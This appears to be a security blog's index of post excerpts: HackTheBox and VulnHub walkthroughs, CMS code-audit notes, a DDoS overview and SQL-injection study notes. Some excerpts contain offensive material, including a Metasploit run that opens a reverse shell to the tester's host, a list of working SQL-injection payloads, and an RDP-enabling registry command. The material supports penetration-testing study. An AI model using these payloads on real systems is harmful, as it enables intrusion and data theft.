Capturing packets with the command above and analyzing the traffic when connecting to rsync, after the server normally returns the rsync version information there are only a few possibilities: empty data, IP access restriction, unauthenticated download, or password-required access. Let’s analyze each one.

[Guest Post] A Commissioned Product Security Test

Thu, 29 Oct 2020 23:06:59 +0800

This article was contributed to the Alibaba Cloud Xianzhi Community. Original content; please cite the source when reposting.

Foreword

On an utterly unremarkable weekend, a buddy of mine messaged me saying he had a product security test on his hands that he couldn’t handle and asked me to help out. I wasn’t keen at first—but Haidilao hotpot is just too good, and so began this commissioned product security test.

Product security testing means using limited resources (time/energy), through security testing and code audit among other means, to uncover as many vulnerabilities as possible, and to leverage these individual findings to drive the developers to fix the product’s security issues.

A Brief Discussion of DDoS Attacks

Mon, 03 Aug 2020 12:51:38 +0800

For this quarter’s “dedicated learning session”, I picked a well-worn topic: DDoS. I hope it brings you some inspiration.

For those readers who are prone to tl;dr, here are the conclusions up front:

Defending against DDoS attacks is a systems engineering effort — no single method is absolutely effective, hence No silver bullet. In short, effort must be invested across system architecture, infrastructure traffic, business logic, disaster recovery plans, and other areas to defend against DDoS. See the What to Do When You Encounter DoS section of this post
Attack trends
1. Common DDoS: large-packet SYN floods (core principle: resource exhaustion), TCP/UDP reflection (core principle: source IP spoofing)
2. Gaming remains the industry most heavily targeted by DDoS attacks, accounting for 39% of the overall distribution; in addition, live streaming, e-commerce, and other industries have become new targets of DDoS attacks
For properly registered legitimate businesses, if the DDoS traffic exceeds 100G, you can file a police report. See the 4 Counterattack and Tracing section of this post

I. What Is DDoS

DDoS (Distributed Denial of Service), also known as a distributed denial-of-service attack. By controlling a botnet made up of numerous compromised machines (“chickens”) or servers, hackers send a large number of seemingly legitimate requests at the target, thereby consuming massive network resources, paralyzing the network, and preventing users from accessing network resources normally.

HackTheBox Notes: Shocker

Sun, 05 Jul 2020 00:45:31 +0800

Entry point

nmap

$ nmap -p- -sC -sV  -Pn 10.10.10.56 -oA allport
Nmap scan report for 10.10.10.56
Host is up (0.0037s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Used hydra to brute-force SSH with fastrack.txt; nothing to gain.

/cgi-bin/

Using binwalk and file, got nothing special

dir searching

python3 dirsearch.py -u http://10.10.10.56/ -e * 

 _|. _ _  _  _  _ _|_    v0.3.9
(_||| _) (/_(_|| (_| )

Extensions:  | HTTP method: getSuffixes: CHANGELOG.md | HTTP method: get | Threads: 10 | Wordlist size: 6564 | Request count: 6564

Error Log: /opt/dirsearch/logs/errors-20-07-07_23-26-11.log

Target: http://10.10.10.56/

Output File: /opt/dirsearch/reports/10.10.10.56/20-07-07_23-26-16

[23:26:16] Starting: 
[23:28:27] 403 -  299B  - /.htaccess-dev
[23:28:27] 403 -  301B  - /.htaccess-local
[23:28:27] 403 -  301B  - /.htaccess-marco
[23:28:28] 403 -  298B  - /.htaccessBAK
[23:28:28] 403 -  299B  - /.htaccess.txt
[23:28:28] 403 -  302B  - /.htaccess.sample
[23:28:28] 403 -  299B  - /.htaccess.old
[23:28:28] 403 -  300B  - /.htaccess.orig
[23:28:28] 403 -  300B  - /.htaccess.save
[23:28:28] 403 -  300B  - /.htaccess.bak1
[23:28:28] 403 -  298B  - /.htaccessOLD
[23:28:28] 403 -  299B  - /.htaccessOLD2
[23:28:28] 403 -  299B  - /.htpasswd-old
[23:28:28] 403 -  297B  - /.httr-oauth
[23:34:58] 403 -  294B  - /cgi-bin/

after obtaining these, no progress.

HackTheBox: Active Notes

Sat, 27 Jun 2020 23:09:32 +0800

10.10.10.100

Nmap

#	nmap -p- -sC -sV -oA allport.nmap 10.10.10.100
Nmap scan report for 10.10.10.100
Host is up (0.0036s latency).
Not shown: 65512 closed ports
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2020-06-27 14:12:30Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  tcpwrapped
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5722/tcp  open  msrpc         Microsoft Windows RPC
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49152/tcp open  msrpc         Microsoft Windows RPC
49153/tcp open  msrpc         Microsoft Windows RPC
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
49169/tcp open  msrpc         Microsoft Windows RPC
49171/tcp open  msrpc         Microsoft Windows RPC
49180/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 2m57s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2020-06-27T14:13:29
|_  start_date: 2020-06-27T12:57:05

Scanning with the enum4linux tool showed that the SMB service was running with open shared directories

# enum4linux -a 10.10.10.100
========================================= 
|    Share Enumeration on 10.10.10.100    |
 ========================================= 
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 640.

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	IPC$            IPC       Remote IPC
	NETLOGON        Disk      Logon server share 
	Replication     Disk      
	SYSVOL          Disk      Logon server share 
	Users           Disk      
SMB1 disabled -- no workgroup available
...
[+] Attempting to map shares on 10.10.10.100
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 654.
//10.10.10.100/ADMIN$	Mapping: DENIED, Listing: N/A

Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 654.
//10.10.10.100/C$	Mapping: DENIED, Listing: N/A

Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 654.
//10.10.10.100/IPC$	Mapping: OK	Listing: DENIED

Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 654.
//10.10.10.100/NETLOGON	Mapping: DENIED, Listing: N/A

Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 654.
//10.10.10.100/Replication	Mapping: OK, Listing: OK

Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 654.
//10.10.10.100/SYSVOL	Mapping: DENIED, Listing: N/A

Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 654.
//10.10.10.100/Users	Mapping: DENIED, Listing: N/A

Let’s see what files are inside

HackTheBox: DevOops Notes

Sat, 06 Jun 2020 19:19:24 +0800

Nmap


# nmap -p- -sV -sC 10.10.10.91 -oA scans/nmap

Nmap scan report for 10.10.10.91
Host is up (0.90s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 42:90:e3:35:31:8d:8b:86:17:2a:fb:38:90:da:c4:95 (RSA)
|   256 b7:b6:dc:c4:4c:87:9b:75:2a:00:89:83:ed:b2:80:31 (ECDSA)
|_  256 d5:2f:19:53:b2:8e:3a:4b:b3:dd:3c:1f:c0:37:0d:00 (ED25519)
5000/tcp open  http    Gunicorn 19.7.1
|_http-server-header: gunicorn/19.7.1
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Tried brute-forcing SSH with hydra using Kali’s built-in fasttrack wordlist — no luck

HackTheBox: Sense Notes

Fri, 29 May 2020 13:12:57 +0800

It’s essential to figure out what CMS the website you’re attacking runs, what middleware it uses, and what the target machine’s reputation is!

10.10.10.60

Nmap

# nmap -p- -sC -sV 10.10.10.60

nmap scan report for 10.10.10.60
Host is up (0.0058s latency).
Not shown: 65533 filtered ports
PORT    STATE SERVICE    VERSION
80/tcp  open  http       lighttpd 1.4.35
|_http-server-header: lighttpd/1.4.35
|_http-title: Did not follow redirect to https://10.10.10.60/
|_https-redirect: ERROR: Script execution failed (use -d to debug)
443/tcp open  ssl/https?
|_ssl-date: TLS randomness does not represent time

lighttpd 1.4.35

Port 80 redirects to 443, and the web app is on port 443:

HackTheBox: Beep Notes

Mon, 25 May 2020 01:40:15 +0800

elastix

msf5 exploit(unix/http/freepbx_callmenum) > show options 

Module options (exploit/unix/http/freepbx_callmenum):

   Name       Current Setting      Required  Description
   ----       ---------------      --------  -----------
   EXTENSION  230-240              yes       A range of Local extension numbers
   Proxies    http:127.0.0.1:8080  no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     10.10.10.7           yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      443                  yes       The target port (TCP)
   SSL        true                 no        Negotiate SSL/TLS for outgoing connections
   VHOST                           no        HTTP server virtual host


Payload options (cmd/unix/reverse):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.16.122     yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target


msf5 exploit(unix/http/freepbx_callmenum) > run

[*] Started reverse TCP double handler on 10.10.16.122:4444 
[*] 10.10.10.7:443 - Sending evil request with range 230
[*] 10.10.10.7:443 - Sending evil request with range 231
[*] 10.10.10.7:443 - Sending evil request with range 232
[*] 10.10.10.7:443 - Sending evil request with range 233
[*] 10.10.10.7:443 - Sending evil request with range 234
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo qaF1oILSz5kNCclV;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "qaF1oILSz5kNCclV\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (10.10.16.122:4444 -> 10.10.10.7:39534) at 2020-05-25 01:37:26 +0800

issue to fix

set ssl true

HackTheBox: Legacy Notes

Mon, 18 May 2020 23:50:08 +0800

Information Gathering

Nmap

Nmap scan report for 10.10.10.4
Host is up (0.0050s latency).
Not shown: 65532 filtered ports
PORT     STATE  SERVICE       VERSION
139/tcp  open   netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open   microsoft-ds  Windows XP microsoft-ds
3389/tcp closed ms-wbt-server
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Host script results:
|_clock-skew: mean: 5d00h30m01s, deviation: 2h07m16s, median: 4d23h00m01s
|_nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:b1:37 (VMware)
| smb-os-discovery: 
|   OS: Windows XP (Windows 2000 LAN Manager)
|   OS CPE: cpe:/o:microsoft:windows_xp::-
|   Computer name: legacy
|   NetBIOS computer name: LEGACY\x00
|   Workgroup: HTB\x00
|_  System time: 2020-05-23T20:26:09+03:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

HackTheBox: Solidstate Notes

Thu, 07 May 2020 18:01:39 +0800

10.10.10.51

Information Gathering

Nmap

A rough scan revealed quite a few ports,

# nmap 10.10.10.51
Nmap scan report for 10.10.10.51
Host is up (1.0s latency).
Not shown: 995 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
25/tcp  open  smtp
80/tcp  open  http
110/tcp open  pop3
119/tcp open  nntp


# Full port scan
## Nmap scan report for 10.10.10.51
Host is up (4.8s latency).
Not shown: 64192 closed ports, 1337 filtered ports
PORT     STATE SERVICE    VERSION
22/tcp   open  tcpwrapped
| ssh-hostkey: 
|   2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)
|   256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA)
|_  256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519)
25/tcp   open  tcpwrapped
|_smtp-commands: solidstate Hello nmap.scanme.org (10.10.16.122 [10.10.16.122]), 
80/tcp   open  tcpwrapped
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Home - Solid State Security
110/tcp  open  tcpwrapped
119/tcp  open  tcpwrapped
4555/tcp open  tcpwrapped

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1134.71 seconds

An email address was found on the homepage, so let’s try brute-forcing it

HackTheBox: Postman Notes

Thu, 30 Apr 2020 23:39:20 +0800

10.10.10.160

Information Gathering

Nmap

# nmap 10.10.10.160 -p22,80,6379,10000 -sV -sC -oA scans/allport.nmap --min-rate 1000
Nmap scan report for postman (10.10.10.160)
Host is up (0.72s latency).
rDNS record for 10.10.10.160: Postman

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
|   256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
|_  256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
80/tcp    open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: The Cyber Geek's Personal Website
6379/tcp  open  redis   Redis key-value store 4.0.9
10000/tcp open  http    MiniServ 1.910 (Webmin httpd)
|_http-server-header: MiniServ/1.910
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The latency from Asia to HTB’s European servers is really high. A full-port scan without --min-rate takes more than half an hour, but specifying it causes packet loss, so the full port range keeps getting missed. Frustrating.

HackTheBox: October Notes (PWN)

Fri, 24 Apr 2020 23:29:56 +0800

Information Gathering

Nmap

root@localhost:~/HTB/october# nmap  -p22,80 -sV -sC 10.10.10.16 --min-rate 1000
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-24 14:48 UTC
Nmap scan report for 10.10.10.16
Host is up (0.54s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 79:b1:35:b6:d1:25:12:a3:0c:b5:2e:36:9c:33:26:28 (DSA)
|   2048 16:08:68:51:d1:7b:07:5a:34:66:0d:4c:d0:25:56:f5 (RSA)
|   256 e3:97:a7:92:23:72:bf:1d:09:88:85:b6:6c:17:4e:85 (ECDSA)
|_  256 89:85:90:98:20:bf:03:5d:35:7f:4a:a9:e1:1b:65:31 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
| http-methods: 
|_  Potentially risky methods: PUT PATCH DELETE
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: October CMS - Vanilla
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

+ Server: Apache/2.4.7 (Ubuntu)
+ Retrieved x-powered-by header: PHP/5.5.9-1ubuntu4.21

Port 80: Weak Password

A CMS called october. Searching with searchsploit turns up a few vulnerabilities, but exploiting them effectively requires confirming the version number. I went to GitHub to see where the version number lives in the source code — it’s in the composer.json file under the web root — but testing showed it’s not directly accessible from the outside, and neither changelog nor readme contained version info, so I gave up on that. Later, after getting www-data access, I saw it was version 1.0.412

HackTheBox: Grandpa Notes

Thu, 23 Apr 2020 21:11:22 +0800

Information Gathering

Nmap

root@localhost:~/HTB/grandpa# nmap -p- -sV -sC 10.10.10.14 -oA scans/allport.tcp

PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 6.0
| http-methods: 
|_  Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT MOVE MKCOL PROPPATCH
|_http-server-header: Microsoft-IIS/6.0
I also recalled that in [this "different" kind of real-world penetration test case analysis article](https://paper.seebug.org/1144/), it mentioned that `webdav` seems to have an `xxe`. I tried it on the root directory, with no luck.
| http-webdav-scan: 
|   Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
|   WebDAV type: Unknown
|   Server Type: Microsoft-IIS/6.0
|   Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
|_  Server Date: Thu, 23 Apr 2020 13:11:29 GMT
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Directory Scanning

root@localhost:~/HTB/grandpa# dirb http://10.10.10.14 -o scans/dirb.txt
-----------------
DIRB v2.22    
By The Dark Raver
-----------------

GENERATED WORDS: 4612                                                          
---- Scanning URL: http://10.10.10.14/ ----
==> DIRECTORY: http://10.10.10.14/_vti_bin/                                    
+ http://10.10.10.14/_vti_bin/_vti_adm/admin.dll (CODE:200|SIZE:195)           
+ http://10.10.10.14/_vti_bin/_vti_aut/author.dll (CODE:200|SIZE:195)          
+ http://10.10.10.14/_vti_bin/shtml.dll (CODE:200|SIZE:96) 
==> DIRECTORY: http://10.10.10.14/_vti_bin/_vti_aut

HackTheBox: OpenAdmin Notes

Mon, 20 Apr 2020 15:51:26 +0800

Information Gathering

10.10.10.171:

Nmap

# nmap -A 10.10.10.171 -oA nmap.tcp
Nmap scan report for 10.10.10.171
Host is up (0.34s latency).
Not shown: 993 closed ports
PORT      STATE    SERVICE        VERSION
22/tcp    open     ssh            OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
|   256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_  256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp    open     http           Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
1185/tcp  filtered catchpole
2046/tcp  filtered sdfunc
2701/tcp  filtered sms-rcinfo
2875/tcp  filtered dxmessagebase2
24444/tcp filtered unknown
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 3.16 (93%), ASUS RT-N56U WAP (Linux 3.4) (93%), Android 4.1.1 (93%), Linux 3.2 - 4.9 (93%), Android 4.2.2 (Linux 3.4) (93%), Linux 3.10 (92%), Android 4.1.2 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 5900/tcp)
HOP RTT       ADDRESS
1   354.54 ms 10.10.14.1
2   354.49 ms 10.10.10.171

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/

Port 80: enum more -> OpenNetAdmin

# dirb http://10.10.10.171/ -o dirb.scan
---- Scanning URL: http://10.10.10.171/ ----
==> DIRECTORY: http://10.10.10.171/artwork/                                                                          
	+ http://10.10.10.171/index.html (CODE:200|SIZE:10918)                                                               
==> DIRECTORY: http://10.10.10.171/music/                                                                            
	+ http://10.10.10.171/server-status (CODE:403|SIZE:277)                                                              
                                                                                                                     
---- Entering directory: http://10.10.10.171/artwork/ ----
==> DIRECTORY: http://10.10.10.171/artwork/css/                                                                      
==> DIRECTORY: http://10.10.10.171/artwork/fonts/

HackTheBox: Cronos Notes

Sat, 18 Apr 2020 23:15:54 +0800

Information Gathering

NMAP

# nmap -sV -sC -Pn -p-  --min-rate 1000 -oA scans\alltcp 10.10.10.13
Nmap scan report for 10.10.10.13
Host is up (1.0s latency).
Not shown: 65532 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|_  256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
53/tcp open  domain  ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.10.3-P4-Ubuntu
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nothing on port 80…

HackTheBox: Bastard Notes

Wed, 15 Apr 2020 21:49:28 +0800

I’ve recently been playing HackTheBox target machines, and I feel you can learn quite a lot from them, so below

If you also want to play target machines, you can register an account and give it a try. Registration requires completing a CTF-like challenge, which is pretty interesting.

Now let’s get to the point

Target machine address 10.10.10.9

Information Gathering

Port 80 runs a drupal site, which I had encountered in some lab before. I tried hitting it with the RCE exploit in msf, but failed.

[Guest Post] MKCMS Code Audit Notes

Fri, 10 Apr 2020 21:55:55 +0800

Originally published on the Xianzhi community: MKCMS代码审计小结 - 先知社区

MKCMS V6.2 (source code below comes from the Internet)

MKCMS Miku video source code 6.2, an open-source CMS

Download link: https://pan.baidu.com/s/1cZX5x9SbcXMCMXismfH4ow extraction code: k3ox

Alternate download: https://www.lanzous.com/ib7zwmh

.htaccess

0x00 Global Filter Analysis

/system/library.php: uses addslashes to escape incoming parameters; note that $_SERVER is not filtered

0x01 CAPTCHA Reuse

The logic at the CAPTCHA check in /admin/cms_login.php is as follows: it compares the CAPTCHA in the session with the one entered, and if they don’t match it goes into alert_href, a js redirect that effectively refreshes the page

SQLi-labs Study Notes

Sun, 05 Apr 2020 15:22:32 +0800

bypass

https://xz.aliyun.com/t/7767

ODBC: https://forum.butian.net/share/113

https://www.o2oxy.cn/2772.html

Common Payloads

# Test!
LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

# UNION BASED
## List all databases
union select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA

# List all tables in the test database (hex works everywhere too)
union select group_concat(TABLE_name) from information_schema.tables where table_schema=`test`

# List all columns in (database: test, table: admin)
union select group_concat(COLUMN_NAME) from information_schema.COLUMNS where
TABLE_SCHEMA=`test` and TABLE_NAME=`admin`

UNION SELECT 1,2,group_concat( column_name,0x20)) from information_schema.columns

# valid queries
id=1' AND 1=2 union select 1,2,(select group_concat() from information_schema.schemata) -- +
id=1' AND 1=2 union select 1,2,(select group_concat() from information_schema.tables where table_schema='security')-- #
id=1' AND 1=2 union select 1,2,(select group_concat() from information_schema.columns where table_name='users') -- +

- Note: group_concat can be used without GROUP BY, but it must contain column names, not subqueries
- The echoed output often has a length limit


# ERROR BASED (error-based injection)
updatexml('2',concat('~',(select current_user()),'~'),'2')-- -
extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1),'~'));-- -	
select from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x )x-- -

- concat can be replaced with concat_ws, and group_concat can consolidate the results


# BLIND SQL injection (boolean-blind, time-based)
id = 1" and sleep(0)='1' -- -
id=1" and if(1=1, sleep(3) , 1 ) -- -
id=1 and 1=(case when (2=2) then sleep(5) else 1 end) -- #

- For blind injection, it seems you can only determine the closing character by whether a delay occurs
- The statement after CASE WHEN must be wrapped in parentheses, otherwise it won't succeed


 # Basic information
		select @@basedir
		select @@datadir
		select current_user()

		select version()
		select @@version
		select database()
		select @@database
    
# POC
extractvalue(0X20, concat(0x5c, (VERSION（)),'~'));-- -

For error-based injection the syntax must be error-free; close whatever needs to be closed, e.g. with a comment (-- -)
Conclusion: generally, wherever blind injection works, you can also use outfile|dumpfile|load_file.
Blind injection falls into two categories: boolean-based blind injection + time-based blind injection.

Since there is no true/false echo — no difference whatsoever visible in the response (response includes: response size / status code / page text) — delay functions are the only option. Generally sleep and benchmark can be used as delay functions, but the article below describes a new way to introduce a delay.

WeCenter Code Audit

Tue, 24 Mar 2020 17:55:09 +0800

This was a Yuque card, click the link to view

WeCenter Code Audit

A code audit of the older WeCenter 3.0.1 release, ~~plus pwning a certain~~~~wecenter~~~~machine along the way~~ (learning the MVC architecture)

Overview

The global anti-injection function has no flaws. However, if the database encoding is gbk, you can pull off a wide-byte attack

It uses mysql_real_escape_string; we need to call mysql_set_charset before executing SQL statements to set the current connection’s character set to gbk. Otherwise it still cannot defend against wide-character injection.

BlueCMS Code Audit Notes

Sun, 12 Jan 2020 10:02:24 +0800

0x00 Basic Shortcuts

Sublime

Next word: Ctrl+D
Bookmarks: Ctrl+F2, F2
Show function: Ctrl+E
Select current line: Ctrl+L
Matching bracket: Ctrl+M

0x01 Repeated Installation Possible

After a normal installation completes, the system can be installed again, because install.lock is never generated.

An article on freebuf claims the problem lies at line 158 of install/index.php, where the is_writable function is used incorrectly.

However, after verification, I found this function is not what causes the repeated-installation issue.

NexusPHP Code Audit Notes

Fri, 10 Jan 2020 17:28:56 +0800

NexusPHP is a resource-sharing CMS used for P2P downloading; the source code download link is https://github.com/ZJUT/NexusPHP

Preliminary Analysis

[

](https://github.com/ZJUT/NexusPHP)

This CMS has a global SQL-injection filtering function, sqlesc()

nexusphp/include/globalfunctions.php #75

Global filtering: SQL injection prevention #1. It escapes input with the MySQL anti-injection function and wraps the statement in single quotes, which makes it impossible to inject quotes or introduce variables ($ inside single quotes is not interpreted as a variable)

VulnHub GoldenEye Walkthrough Notes

Thu, 26 Dec 2019 11:36:16 +0800

Information Gathering

# 25/tcp    open  smtp
| fingerprint-strings: 
|   Hello: 
|     220 ubuntu GoldentEye SMTP Electronic-Mail agent
|_    Syntax: EHLO hostname
|_smtp-commands: ubuntu, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, 
# 80/tcp    open  http     Apache httpd 2.4.7 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: GoldenEye Primary Admin Server
# 55006/tcp open  ssl/pop3 Dovecot pop3d
|_pop3-capabilities: RESP-CODES TOP CAPA AUTH-RESP-CODE SASL(PLAIN) USER PIPELINING UIDL
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Issuer: commonName=localhost/organizationName=Dovecot mail server
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2018-04-24T03:23:52
| Not valid after:  2028-04-23T03:23:52
| MD5:   d039 2e71 c76a 2cb3 e694 ec40 7228 ec63
|_SHA-1: 9d6a 92eb 5f9f e9ba 6cbd dc93 55fa 5754 219b 0b77
|_ssl-date: TLS randomness does not represent time
# 55007/tcp open  pop3     Dovecot pop3d
|_pop3-capabilities: RESP-CODES SASL(PLAIN) TOP PIPELINING STLS CAPA AUTH-RESP-CODE USER UIDL
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Issuer: commonName=localhost/organizationName=Dovecot mail server
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2018-04-24T03:23:52
| Not valid after:  2028-04-23T03:23:52
| MD5:   d039 2e71 c76a 2cb3 e694 ec40 7228 ec63
|_SHA-1: 9d6a 92eb 5f9f e9ba 6cbd dc93 55fa 5754 219b 0b77
|_ssl-date: TLS randomness does not represent time

Two ports were discovered; I tried logging in via SMTP on port 25, but it failed.